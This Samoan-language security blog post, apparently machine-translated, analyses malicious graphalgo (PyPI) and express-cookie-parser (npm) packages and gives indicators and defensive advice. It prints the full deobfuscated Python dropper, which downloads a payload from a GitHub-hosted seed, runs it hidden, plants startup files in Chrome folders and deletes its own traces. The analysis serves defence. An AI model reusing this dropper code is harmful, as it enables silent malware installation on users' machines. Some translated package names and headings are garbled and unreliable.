Talu ai nei na matauina ai e Xygeni se mamanu fa'apopoleina i le tulaga o osofa'iga i le sapalai o polokalama faakomepiuta i le 2025., e tulaʻi mai i ni pule o afifi lauiloa se lua: PyPI ma npm. I le avea ai o se vaega o a matou taumafaiga faifai pea e faʻatautaia ai faʻamatalaga taufaʻamataʻu,Lapata'iga Vave o le Xygeni's Malware (MEW) ua faʻailoa mai e le meafaigaluega se faʻataʻitaʻiga ese ae tutusa le auala o se afifi leaga na lafoina i se isi resitala muamua. O lenei mataupu e faʻamamafa ai le auala o loʻo faʻagasolo ai tagata faʻamataʻu ma toe faʻaaogaina ai metotia o osofaʻiga i totonu o siosiomaga eseese, aemaise lava e ala i afifi Python leaga ma afifi npm leaga, lea e faʻateleina ai le lamatiaga o afifi leaga e faʻaulufale atu i filifili sapalai tatala.
Xygeni's MEW: Iloaina o Mea e Tutusa Ai
O le meafaigaluega MEW a Xygeni ua fausia e iloa ai ma fa'ailoga ai afifi leaga, aemaise lava i latou e feso'ota'i ma Osofa'iga o le Software Supply Chain i le 2025, i le taimi lava e lolomiina ai i resitala tatala. E galue e ala i le iloiloina o afifi fou mo amioga masalomia.
I lenei tulaga, na faʻailoa mai ai ni lua afifi Python leaga (graphalgo i luga o le PyPI) ma afifi npm leaga (express-cookie-parser i luga o le npm).
Afifi Malie Python ma npm i Osofa'iga o le Sapalai o Polokalama Faakomepiuta (2025)
Se'i o tatou su'esu'eina uiga fa'atasi na fa'aosofia ai a tatou fa'ailoilo:
Faʻailogaina
Sa la taumafai uma e faʻatagā i ni afifi lauiloa ua uma ona iai.
- graphalgo (PyPI): "O se afifi Python mo le fatuina ma le fa'aogaina o kalafi ma feso'ota'iga."Na lafoina e se tagata faʻaoga e igoa ia "larrytech" I le aso 13 o Iuni, 2025, na faʻaalia ai e lenei afifi o se isi suiga i le PyPi i le poloketi muamua a le graphalgo e le leaga, lea na mulimuli ane toe faaigoa i le graphdict.
- fa'amatalaga kuki-fa'avave (npm): O lenei afifi na faʻataʻitaʻi le afifi lauiloa o le cookie-parser, e oʻo lava i le faʻataʻitaʻiina o lana README.md. O sea ituaiga o fa'atagā tagata o se togafiti masani lea e fa'aleleia atili ai le fa'atuatuaga o lo'o iai.
O le Fa'alilolilo o se Laina Muamua o le Puipuiga
Na fa'alilolilo e afifi uma e lua a la'ua code leaga i totonu o faila muamua. Mo graphalgo, na maua le code fa'alilolilo i totonu /utils/load_libraries.py. I le tulaga o fa'amatalaga kuki-fa'avave, cookie-loader.min.js sa i ai le uta faanenefu.
O lenei vaega muamua o le fa'alilolilo e masani ona fa'aaogaina e fa'alavelave ai le siakiina fa'afuase'i ma le au'ili'iliga tumau. O le fa'alilolilo sa faigofie lava: o le fa'apipi'iina fa'asolosolo o le ZLib fa'atasi ai ma le fa'ailogaina o le Base64. O lenei ituaiga o fa'alilolilo e fa'ailoa manino mai ai o lo'o taumafai le polokalama e natia ana amioga. Fa'atasi ai ma isi fa'amaoniga, na mafai ai e Xygeni MEW ona fa'avasega afifi o ni polokalama fa'aleaga. I le taimi o le la'asaga fa'amaonia, na vave saunia e le matou au su'esu'e se tusitusiga fa'alilolilo lea na fa'aalia ai le la'asaga o le dropper leaga.
Tu'uina Atu o le Uta e Tele-Vaega ma se Nofoaga Fa'asoa o le Amataga
Sa galulue uma afifi uma e lua e pei o le "muamua"paʻu," o loʻo faʻatulagaina le tulaga mo le uta moni. Sa latou faʻasoa se faʻavae faʻapitoa i fafo "fatu"URL o le faila:https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
O lenei faila fatu fafo tutusa o se fa'ailoga malosi lea o se tagata fa'amata'u fa'atasi. O le mea e malie ai, o mea o lo'o i totonu o lenei faila fatu e foliga mai o ni fesuia'iga faigofie o le siosiomaga (e pei o le JWT_SECRET, PORT), e ono fa'asesēina ai le siakiina o lana galuega moni.
Fa'avae Fa'a-C2 ma se DGA
O se togafiti faigata ua matauina i nei afifi leaga o le faʻaaogaina lea o le Domain Generation Algorithm (DGA) e foia ai le 'auʻaunaga Command and Control (C2) i se auala faʻaonaponei. O lenei metotia, e masani ona vaʻaia i osofaʻiga faʻapitoa o le sapalai o polokalama faakomepiuta i le 2025, e faʻalagolago i se SHA256 hash e maua mai i mea o loʻo i totonu o le faila fatu, faʻatasi ai ma isi tau faʻamaonia. I le faia o lea mea, e masani ona suia le fausaga o le C2, ma faʻaitiitia ai le aoga o le blacklisting masani. I lenei tulaga, o le variant npm na faʻaaogaina ai se tau mautu o le 496AAC7E o se vaega o lana faʻavae DGA.
Faatuina o le Tumau
Sa taumafai uma le au osofaʻi e faʻatuina se nofoaga tumau i luga o polokalama ua aʻafia. O la laʻua fuafuaga e aofia ai le faʻapaʻuina o se faila, startup.py (mo PyPi) pe startup.js (mo le npm), i totonu o faila fa'amaumauga masani a tagata fa'aoga a le Google Chrome i luga o faiga fa'aoga eseese (Windows, Linux, macOS).
Fa'amamāina pe a uma le fa'atinoina o le fa'asalaga
Ina ia faʻaitiitia ni faʻailoga, na faʻatinoina e tusitusiga leaga uma e lua ni galuega faʻamamā. Na aofia ai le tapeina o a latou faila muamua (load_libraries.py, cookie-loader.min.js) ma le suia o faila afifi aloaia (__init__.py, index.js) e aveese ai fa'asinomaga i vaega ua tapeina nei.
Fa'ailoga o le Fete'ena'iga i totonu o Malicious Python ma npm Packages
- PyPI Package: graphalgo (lomia e larrytech, Iuni 13, 2025)
- Afifi npm: express-cookie-parser (ae maise lava le lomiga 1.4.12)
- Avanoa i le URL o le Fa'asoaina o Fatu:
https://raw.githubusercontent.com/johns92/blog_app/refs/heads/main/server/.env.example
- Igoa Faila Tumau:
startup.py(Python)startup.js(JavaScript) - Ala Masani Tumau (faʻalagolago i le OS): I totonu o faila fa'amaumauga a tagata fa'aoga a le Google Chrome (e pei o le,
AppData\Local\Google\Chrome\UserData\Scripts\i luga o Windows~/.config/google-chrome/Scripts/i luga o le Linux, ma isi).
Auala e Puipui ai Faasaga i Afifi Matagā i Osofaʻiga o le Sapalai o Polokalama Faakomepiuta 2025
O se Auala Fautuaina mo Tagata Atiina Aʻe
O lenei mea na tupu o se suʻesuʻega taua i le tulaga lamatia o loʻo faʻagasolo pea o osofaʻiga i le sapalai o polokalama faakomepiuta i le 2025. O loʻo faʻamamafaina ai le auala e mafai ai e afifi leaga a Python ma afifi leaga a le npm ona faʻasolo atu i totonu o siosiomaga faʻatuatuaina, e masani ona aloese mai le iloa seʻia oʻo ina tuai tele. O le mafuaʻaga lea o le vave iloa, meafaigaluega atamai, ma le tumama o le faiga faʻatino ua avea nei ma vaega taua o soʻo se faiga faigaluega saogalemu a le DevOps. Ua faʻamalosiauina le au atiaʻe e mafaufau i mea nei:
Iloiloga o le Fa'alagolago
Afai ua aofia i au galuega faatino graphalgo or fa'amatalaga kuki-fa'avave, e sili atu ona atamai le faaauau pea ona aveesea.
- Mo le PyPI:
pip uninstall graphalgo - Mo le npm:
npm uninstall express-cookie-parser
Tausiga o le Tino
Mafaufau e faia se suʻesuʻega atoatoa o le polokalama. E fautuaina foʻi e siaki lima ia auala masani o faʻamatalaga a tagata faʻaoga a le Chrome mo soʻo se mea e leʻi mafaufauina. startup.py or startup.js faila.
Faiga Fa'atonu Puipuiga
- Iloilo Fa'alagolago FouFa'atulaga se faiga masani e iloilo mae'ae'a ai afifi fou a'o le'i tu'ufa'atasia, taula'i i afifi mai tagata lomitusi e le masani ai.
- Tuufaatasia Meafaigaluega PuipuigaMeafaigaluega e pei o le Xygeni's MEW, faatasi ai ma isi Su'esu'ega o le Fa'atulagaga o Polokalama (SCA) fofo, e mafai ona maua ai se puipuiga taua e ala i le faʻailoaina o amioga ma vaivaiga masalomia.
- Fa'ailoga Fa'atauva'a: O le faʻagaoioia o siosiomaga atinaʻe ma le mataupu faavae o le faʻamanuiaga aupito itiiti e mafai ona fesoasoani e faʻatapulaʻa ai le aʻafiaga e ono tulaʻi mai i se faʻaletonu.
- Fa'asalalauga Fa'asalalaugaO le mata'ituina o feoa'iga i fafo atu o le upega tafa'ilagi mo feso'ota'iga e le masani ai e mafai i nisi taimi ona fa'aalia ai fesoota'iga C2 e gaosia e le DGA.
Vaega Autu o load_libraries.py (mai le graphalgo)
import os
import sys
import subprocess
import base64
import hashlib
import time
from urllib.request import urlopen, Request
url_b64 = "aHR0cHM6Ly9yYXcuZ2l0aHVidXNlcmNvbnRlbnQuY29tL2pvaG5zOTIvYmxvZ19hcHAvcmVmcy9oZWFkcy9tYWluL3NlcnZlci8uZW52LmV4YW1wbGU="
remove_url = base64.b64decode(url_b64).decode()
python_path = sys.executable
def download_remote_content(url, output_path):
try:
req = Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urlopen(req) as response, open(output_path, "wb") as out_file:
if response.status != 200:
print(f"Failed to download the file. Status code: {response.status}")
return False
data = response.read()
out_file.write(data)
return True
except Exception as e:
print(f"Download failed: {e}")
return False
def run_process(path_to_script, params=[]):
if sys.platform.startswith("win"):
creationflags = subprocess.CREATE_NO_WINDOW
subprocess.Popen(
[sys.executable, path_to_script, *params],
creationflags=creationflags,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL
)
else:
subprocess.Popen(
[sys.executable, path_to_script, *params],
start_new_session=True,
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
close_fds=True
)
def get_output_file_path():
py_file_path = None
home_dir = os.path.expanduser("~")
platform = os.sys.platform
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local", "Google", "Chrome", "User Data")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config", "google-chrome")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support", "Google", "Chrome")
if not os.path.exists(py_file_path):
if platform.startswith("win"):
py_file_path = os.path.join(home_dir, "AppData", "Local")
elif platform.startswith("linux"):
py_file_path = os.path.join(home_dir, ".config")
elif platform == "darwin":
py_file_path = os.path.join(home_dir, "Library", "Application Support")
# Ensure base directory exists
os.makedirs(py_file_path, exist_ok=True)
script_path = os.path.join(py_file_path, "Scripts")
os.makedirs(script_path, exist_ok=True)
py_file_path = os.path.join(script_path, "startup.py")
return py_file_path
def remove_self():
# Remove this script file
os.remove(__file__)
# Remove \'graph_settings.py\' in the same directory
graph_settings_path = os.path.join(os.path.dirname(__file__), "graph_settings.py")
if os.path.exists(graph_settings_path):
os.remove(graph_settings_path)
# Modify \'../classes/digraph.py\' if it exists
graph_file_path = os.path.join(os.path.dirname(__file__), "..", "classes", "digraph.py")
graph_file_path = os.path.abspath(graph_file_path) # Normalize path
init_file_path = os.path.join(os.path.dirname(__file__), "__init__.py")
init_file_path = os.path.abspath(init_file_path) # Normalize path
# replace content of the __init__.py file
if os.path.exists(init_file_path):
with open(init_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("from networkx.utils.graph_settings import *", "") \\
.replace("from networkx.utils.load_libraries import *", "")
with open(init_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
# replace content of the __init__.py file
if os.path.exists(graph_file_path):
with open(graph_file_path, \'r\', encoding=\'utf-8\') as file:
file_content = file.read()
updated_content = file_content \\
.replace("nx.utils.graph_settings.init_graph(self.graph, attr)", "") \\
with open(graph_file_path, \'w\', encoding=\'utf-8\') as file:
file.write(updated_content)
def simple_shift_encrypt(text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = bytes([(ord(char) + (key % 256)) % 256 for char in text])
return base64.encode(encrypted_bytes).decode()
def simple_shift_decrypt(encoded_text, password):
key = int(hashlib.sha256(password).hexdigest(), 16)
encrypted_bytes = base64.b64decode(encoded_text)
decrypted = \'\'.join([chr((b - (key % 256)) % 256) for b in encrypted_bytes])
return decrypted
def load_libraries(key):
max_retry_count = 3
output_file_path = get_output_file_path()
encoded = "6PT08PO6r6/j7+Tl8O/v7K7j7O/15K/w9eLs6eOv8/Th8vT18K7w+b/25fK9sa6ypvT58OW97e/k9ezl"
for _ in range(max_retry_count):
if not download_remote_content(remove_url, output_file_path):
time.sleep(2)
continue
download_url = ""
with open(output_file_path, "rb") as f:
file_content = f.read()
sha256_hash = hashlib.sha256()
sha256_hash.update(file_content + key.encode())
password = sha256_hash.digest()
download_url = simple_shift_decrypt(encoded, password)
if not download_url or not download_remote_content(download_url, output_file_path):
time.sleep(2)
continue
os.chmod(output_file_path, 0o755)
run_process(output_file_path)
time.sleep(1)
remove_self()
break
if __name__ == "__main__":
if len(sys.argv) >= 2:
load_libraries(sys.argv[1])
download_remote_content(): E taulimaina le aumaia o faila mai URL ua fa'amaoti mai.run_process(): Fa'atinoina tusitusiga Python i fafo i se auala tu'ueseese, taofiofia le fa'atinoga ina ia tumau ai le fa'alilolilo.get_output_file_path(): Fuafuaina le nofoaga sili ona lelei mo le faila persistent startup.py.remove_self(): Fa'atulaga le fa'amamāina o faila leaga muamua ma fa'asa'oga o afifi pe a uma ona fa'atinoina.simple_shift_encrypt()/simple_shift_decrypt()Galuega fa'apitoa fa'alilolilo mo le fa'anenefuina o auala feso'ota'iga, e taua tele mo le fa'atinoina o le DGA.load_libraries()O le galuega autū lea e fa'amaopoopo ai le fa'agasologa atoa o la'asaga e tele, mai le la'uina muamua e o'o atu i le fa'atinoina ma le fa'amamāina o le uta.
tuanai
E pei o isi afifi e ono lamatia ai le soifua maloloina na faʻailoa mai e le MEW, na vave ona puipuia e le firewall o le faalagolago tagata faʻaoga o ē o le a aofia ai nei afifi leaga i a latou faalagolago. Ina ua maeʻa le faʻamaoniga, na matou mulimulitaʻi i faiga faʻasilasilaga mo resitala uma e lua, lea na aveese ai afifi uma e lua ina ua maeʻa le iloiloga.
